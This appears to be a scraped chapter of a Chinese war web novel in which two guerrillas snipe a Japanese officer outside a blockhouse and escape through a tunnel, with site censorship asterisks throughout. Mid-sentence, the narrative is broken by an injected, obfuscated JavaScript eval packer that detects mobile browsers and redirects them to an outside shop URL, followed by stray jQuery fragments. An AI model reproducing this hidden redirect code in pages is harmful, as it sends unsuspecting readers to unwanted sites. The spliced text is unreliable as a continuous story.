默认冷灰
24号文字
方正启体

第452章 霜降前的准星

作者:木·兮本书字数:K更新时间:
    赵庄据点的早晨,是被一阵剧烈的咳嗽声唤醒的。


    雾很大,湿漉漉地贴着地面流淌,把那座孤零零的炮楼裹得像个患了伤寒的病人。


    空气里那一股子焦炭味怎么也散不掉,还混着生石灰和排泄物的恶臭——那是日本人为了防疫,在据点周围洒下的“结界”。


    自从上次那顿加了料的米粥之后,这个据点里的皇军就没直起过腰。


    炮楼顶上,哨兵换岗的频率变低了。


    那个原本应该精神抖擞地站在沙袋后面的日军伍长。


    此刻正蜷缩在角落里,怀里抱着一支三八大盖,脸色蜡黄,眼窝深陷,像是被鬼吸了阳气。


    他不敢喝水,也不敢吃东西。


    哪怕是据点里那口深井,也被工兵用铁盖子焊**,上面还贴了封条,画着鲜红的骷髅头。


    对于这支以“武士道”精神武装起来的部队来说,这种看不见、摸不着,却能让人拉得脱了形的敌人,比面对面的刺刀冲锋更折磨神经。


    ……


    距离据点四百米。


    一片早已荒废的野枣林里。


    林晚趴在一道干涸的土坎后面。


    她的身上披着那件用麻袋片改成的伪装衣,上面插满了枯黄的杂草和野枣树枝。


    如果不走到跟前,哪怕是鹰眼也看不出那一堆枯草下藏着个活人。


    她已经在这里趴了三个小时。


    身下的泥土很凉,透着一股子秋深露重的寒意,顺着肘关节往骨头里钻。


    但她一动不动。


    她的呼吸很轻,绵长而均匀,像是在冬眠。


    放在她面前的,是那支**被截短了一寸的莫辛纳甘**。


    这枪是苏联货,也是陈墨从那批地下**库里翻出来的老古董。


    **上的清漆早就磨光了,露出了暗红色的木纹,被汗水浸润得温润如玉。


    枪机被陈墨重新校准过,虽然拉栓有些涩,但精度极高。


    林晚的手指,轻轻搭在**护圈外。


    指甲修剪得很秃,边缘带着一点洗不掉的黑泥。


    那是一双劳动妇女的手,也是一双**的手。


    “喝口水。”身后传来极轻微的响动。


    陈墨像是一只狸猫,无声无息地滑进了土坎。


    他手里拿着个扁铁壶,那是从鬼子飞行员身上扒下来的。


    林晚没回头,也没接水壶。


    “风向变了。”她低声说道。


    声音有些沙哑,像是风吹过干枯的芦苇。


    陈墨抬头看了一眼。


    确实变了。


    原本的西北风转成了东南风,正好迎着枪口。


    这对狙击手来说是大忌,风会把**吹偏,也会把**带得更远。


    在当时的1940年代,狙击战虽然尚未完全系统化,但在华北战场,八路军的“冷枪运动”通过从日军和**军溃兵中学来的经验,结合自身条件,形成了一套独特的游击狙击战法。


    而且莫辛纳甘M1891/30**虽然长,但精度高,配合缴获的日制或德制瞄准镜,是当时敌后战场的神器。


    “那就再等等。”


    陈墨在林晚身边趴下,动作熟练地将身前的野草拨开一条缝隙。


    “那个**手,换了三次姿势。”


    林晚的眼睛依然贴在瞄准镜上,嘴唇微微翕动。


    “他在发抖。可能是病了,也可能是怕。”


    “他是怕。”


    陈墨从怀里掏出一块巧克力,那是上次从特种兵身上搜来的战利品,掰了一小块,递到林晚嘴边。


    “吃点,糖分能让手更稳。”


    林晚张开嘴,含住了那块苦涩的巧克力。


    舌尖无意中碰到了陈墨的手指,温热,粗糙。


    她没有躲,只是嚼得很慢。


    “先生。”


    “嗯?”


    “你说,那个**由美子,她怕吗?”


    “她不怕死。”陈墨看着远处的炮楼,“但她怕输。怕输给一群她看不起的泥腿子。”


    林晚咽下巧克力,重新调整了呼吸。


    “那我就让她输。”


    ……


    上午九点。


    太阳终于驱散了晨雾,惨白的光线照在炮楼顶上。


    据点的大门缓缓打开了。


    一辆黑色的挎斗摩托车开了出来,后面跟着一辆运水的卡车。


    那是日军从县城派来的补给队。


    一个戴着白手套的日军少尉从卡车副驾驶跳下来,手里拿着一份文件,正对着据点里的守备曹长大声呵斥。


    “八嘎!为什么不清理周边的杂草?这是给游击队留掩体吗?”


    少尉的声音很尖,透过四百米的空气,隐约传了过来。


    那个曹长低着头,身体摇摇晃晃,显然是拉得虚脱了,连立正的姿势都维持不住。


    “机会。”


    林晚的瞳孔微微收缩。


    她的世界在这一刻缩小了,只剩下那个瞄准镜里的圆形视野。


    十字线套住了那个少尉的胸口。


    那里的军服上挂着望远镜,还有一枚闪闪发亮的勋章。


    距离四百米。


    东南风。


    林晚的大脑像是一台精密的计算机,瞬间完成了弹道计算。


    这是陈墨教她的。


    以前她只凭感觉打,而现在她懂得了“诸元”。


    她屏住了呼吸。


    肺部的空气排空,心跳的干扰降到最低。


    食指第一关节,均匀地向后施压。


    “砰!”


    一声清脆的枪响,打破了旷野的寂静。


    并没有那种电影里夸张的后坐力,林晚的肩膀只是微微一震。


    远处。


    那个正挥舞着手臂训话的日军少尉,动作突然定格了。


    就像是一部正在放映的电影突然卡带。


    紧接着,一团血雾从他的胸**开。


    他整个人向后飞出半米,重重地撞在卡车的保险杠上,然后像一滩烂泥一样滑落下来。


    那份白色的文件散落一地,瞬间被染红。


    “敌袭!!!”


    据点里瞬间炸了锅。


    那个虚弱的曹长反应倒是快,就地一滚躲到了车轮后面。


    **手也慌乱地拉动**,对着**响起的方向,也就是那片野枣林,疯狂地扫射。


    “哒哒哒哒哒!”


    **打在树干上,木屑横飞。


    但林晚早就不在那儿了。


    在开


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977105|183140||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    枪的一瞬间,她就像是一只受惊的兔子,顺着土坎向后滑了下去。


    然后猫着腰,沿着预定的撤退路线,一条干涸的排水沟,飞快地转移。


    陈墨跟在她身后,手里提着百式**,负责掩护侧翼。


    两人配合得天衣无缝。


    这已经不是第一次了。


    在这半个月的“冷枪战”里,他们就像是两只配合默契的幽灵,在饶阳周边的据点之间游荡。


    今天打个军官,明天打个**手。


    不求全歼,只求杀伤。


    只求让日本人觉得,哪怕是在大白天,哪怕是在据点门口,只要一露头,就会有一颗**在等着他们。


    两人一口气跑出二里地。


    钻进了一片茂密的芦苇荡。


    这里有一口废弃的水井,是通往三官庙地道的一个隐秘入口。


    林晚靠在井壁上,大口大口地喘着气。


    她的脸上全是汗水和黑灰,几缕头发贴在额头上。


    “打中了。”


    她抬起头,冲着陈墨笑了笑。


    那个笑容很淡,却很真实。


    像是从石头缝里开出来的小花。


    “打得好。”


    陈墨从怀里掏出一块手帕,递给她。


    “擦擦汗。”


    林晚接过手帕,却没有擦脸,而是先去擦那支**的枪机。


    “**热了。”她说,“得凉一凉。”


    陈墨看着她。。


    他的心里泛起一阵酸涩,又有一丝骄傲。


    “走吧。”


    陈墨拉开井盖的伪装。


    “老方那边煮了棒子面粥。回去晚了,就凉了。”


    林晚把枪背好,正要下井。


    突然,她停住了。


    她转过身,看着陈墨,眼神里有些犹豫。


    “先生。”


    “嗯?”


    “咱们这么打……真的有用吗?”


    林晚的手指无意识地摩挲着枪带。


    “今天**一个少尉,明天鬼子还会派个中尉来。咱们杀得完吗?”


    陈墨沉默了片刻。


    他走过去,帮她理了理鬓角的乱发。


    “杀不完。”


    陈墨实话实说。


    “但是,我们要让他们怕。”


    “当他们连上厕所都要提心吊胆,当他们连喝水都要先验毒,当他们连站在太阳底下都觉得后背发凉的时候……”


    陈墨的眼中闪过一丝冷厉的光。


    “他们的精神就垮了。”


    “一支精神垮了的军队,手里拿着再好的枪,也只是一群待宰的羊。”


    “而且……”


    陈墨指了指脚下的土地。


    “我们在等。”


    “等冬天。”


    “等这片土地冻得硬邦邦的时候,等鬼子的补给线彻底断绝的时候。”


    “那就是我们真正吃肉的时候。”


    林晚点了点头。


    她不太懂什么战略,但她信他。


    “那我明天还去。”她说。


    “明天去打那个炮楼。那上面的探照灯太亮了,晃眼。”


    陈墨笑了。


    “行。明天我给你当观察手。”


    两人钻进了地道。


    井盖缓缓合上,那一抹阳光被隔绝在外面……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)